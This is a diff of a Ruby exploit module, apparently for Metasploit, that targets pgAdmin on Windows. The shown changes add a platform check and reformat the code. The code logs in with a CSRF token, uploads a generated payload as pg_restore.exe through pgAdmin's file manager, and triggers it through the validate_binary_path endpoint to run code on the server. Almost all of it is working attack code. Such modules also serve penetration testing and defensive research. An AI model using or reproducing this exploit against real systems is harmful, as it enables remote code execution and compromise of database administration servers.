@@ -70,7 +70,7 @@ def check
70
70
def set_csrf_token_from_login_page ( res )
71
71
if res &.code == 200 && res . body =~ /csrfToken": "([\w +.-]+)"/
72
72
@csrf_token = Regexp . last_match ( 1 )
73
- # at some point between v7.0 and 7.7 the token format changed
73
+ # at some point between v7.0 and 7.7 the token format changed
74
74
elsif ( element = res . get_html_document . xpath ( "//input[@id='csrf_token']" ) &.first )
75
75
@csrf_token = element [ 'value' ]
76
76
end
@@ -80,7 +80,6 @@ def set_csrf_token_from_config(res)
80
80
if res &.code == 200 && res . body =~ /csrfToken": "([\w +.-]+)"/
81
81
@csrf_token = Regexp . last_match ( 1 )
82
82
# at some point between v7.0 and 7.7 the token format changed
83
- # pgAdmin['csrf_token'] =
84
83
else
85
84
@csrf_token = res . body . scan ( /pgAdmin\[ 'csrf_token'\] \s *=\s *'([^']+)'/ ) &.flatten &.first
86
85
end
@@ -95,6 +94,13 @@ def auth_required?
95
94
end
96
95
end
97
96
97
+ def on_windows?
98
+ res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path , 'browser/js/utils.js' ) , 'keep_cookies' => true )
99
+ if res &.code == 200 && platform = res . body . scan ( /pgAdmin\[ 'platform'\] \s *=\s *'([^']+)';/ ) &.flatten &.first
100
+ return platform == 'win32' ? true : false
101
+ end
102
+ end
103
+
98
104
def get_version
99
105
if auth_required?
100
106
res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path , 'login' ) , 'keep_cookies' => true )
@@ -133,17 +139,17 @@ def exploit
133
139
134
140
if auth_required?
135
141
res = send_request_cgi ( {
136
- 'uri' => normalize_uri ( target_uri . path , 'authenticate/login' ) ,
137
- 'method' => 'POST' ,
138
- 'keep_cookies' => true ,
139
- 'vars_post' => {
140
- 'csrf_token' => csrf_token ,
141
- 'email' => datastore [ 'USERNAME' ] ,
142
- 'password' => datastore [ 'PASSWORD' ] ,
143
- 'language' => 'en' ,
144
- 'internal_button' => 'Login'
145
- }
146
- } )
142
+ 'uri' => normalize_uri ( target_uri . path , 'authenticate/login' ) ,
143
+ 'method' => 'POST' ,
144
+ 'keep_cookies' => true ,
145
+ 'vars_post' => {
146
+ 'csrf_token' => csrf_token ,
147
+ 'email' => datastore [ 'USERNAME' ] ,
148
+ 'password' => datastore [ 'PASSWORD' ] ,
149
+ 'language' => 'en' ,
150
+ 'internal_button' => 'Login'
151
+ }
152
+ } )
147
153
148
154
unless res &.code == 302 && res . headers [ 'Location' ] != normalize_uri ( target_uri . path , 'login' )
149
155
fail_with ( Failure ::NoAccess , 'Failed to authenticate to pgAdmin' )
@@ -152,6 +158,9 @@ def exploit
152
158
print_status ( 'Successfully authenticated to pgAdmin' )
153
159
end
154
160
161
+ unless on_windows?
162
+ fail_with ( Failure ::BadConfig , 'This exploit is specific to Windows targets!' )
163
+ end
155
164
file_name = 'pg_restore.exe'
156
165
file_manager_upload_and_trigger ( file_name , generate_payload_exe )
157
166
rescue ::Rex ::ConnectionError
@@ -162,17 +171,17 @@ def exploit
162
171
163
172
def file_manager_init
164
173
res = send_request_cgi ( {
165
- 'uri' => normalize_uri ( target_uri . path , 'file_manager/init' ) ,
166
- 'method' => 'POST' ,
167
- 'keep_cookies' => true ,
168
- 'ctype' => 'application/json' ,
169
- 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
170
- 'data' => {
171
- 'dialog_type' => 'storage_dialog' ,
172
- 'supported_types' => [ 'sql' , 'csv' , 'json' , '*' ] ,
173
- 'dialog_title' => 'Storage Manager'
174
- } . to_json
175
- } )
174
+ 'uri' => normalize_uri ( target_uri . path , 'file_manager/init' ) ,
175
+ 'method' => 'POST' ,
176
+ 'keep_cookies' => true ,
177
+ 'ctype' => 'application/json' ,
178
+ 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
179
+ 'data' => {
180
+ 'dialog_type' => 'storage_dialog' ,
181
+ 'supported_types' => [ 'sql' , 'csv' , 'json' , '*' ] ,
182
+ 'dialog_title' => 'Storage Manager'
183
+ } . to_json
184
+ } )
176
185
177
186
unless res &.code == 200 && ( trans_id = res . get_json_document . dig ( 'data' , 'transId' ) ) && ( home_folder = res . get_json_document . dig ( 'data' , 'options' , 'homedir' ) )
178
187
fail_with ( Failure ::UnexpectedReply , 'Failed to initialize a file manager transaction Id or home folder' )
@@ -196,13 +205,13 @@ def file_manager_upload_and_trigger(file_path, file_contents)
196
205
form . add_part ( 'my_storage' , nil , nil , 'form-data; name="storage_folder"' )
197
206
198
207
res = send_request_cgi ( {
199
- 'uri' => normalize_uri ( target_uri . path , "/file_manager/filemanager/#{ trans_id } /" ) ,
200
- 'method' => 'POST' ,
201
- 'keep_cookies' => true ,
202
- 'ctype' => "multipart/form-data; boundary=#{ form . bound } " ,
203
- 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
204
- 'data' => form . to_s
205
- } )
208
+ 'uri' => normalize_uri ( target_uri . path , "/file_manager/filemanager/#{ trans_id } /" ) ,
209
+ 'method' => 'POST' ,
210
+ 'keep_cookies' => true ,
211
+ 'ctype' => "multipart/form-data; boundary=#{ form . bound } " ,
212
+ 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
213
+ 'data' => form . to_s
214
+ } )
206
215
unless res &.code == 200 && res . get_json_document [ 'success' ] == 1
207
216
fail_with ( Failure ::UnexpectedReply , 'Failed to upload file contents' )
208
217
end
@@ -212,15 +221,15 @@ def file_manager_upload_and_trigger(file_path, file_contents)
212
221
print_status ( "Payload uploaded to: #{ upload_path } " )
213
222
214
223
send_request_cgi ( {
215
- 'uri' => normalize_uri ( target_uri . path , '/misc/validate_binary_path' ) ,
216
- 'method' => 'POST' ,
217
- 'keep_cookies' => true ,
218
- 'ctype' => 'application/json' ,
219
- 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
220
- 'data' => {
221
- 'utility_path' => upload_path [ 0 ..upload_path . size - 16 ]
222
- } . to_json
223
- } )
224
+ 'uri' => normalize_uri ( target_uri . path , '/misc/validate_binary_path' ) ,
225
+ 'method' => 'POST' ,
226
+ 'keep_cookies' => true ,
227
+ 'ctype' => 'application/json' ,
228
+ 'headers' => { 'X-pgA-CSRFToken' => csrf_token } ,
229
+ 'data' => {
230
+ 'utility_path' => upload_path [ 0 ..upload_path . size - 16 ]
231
+ } . to_json
232
+ } )
224
233
225
234
true
226
235
end
0 commit comments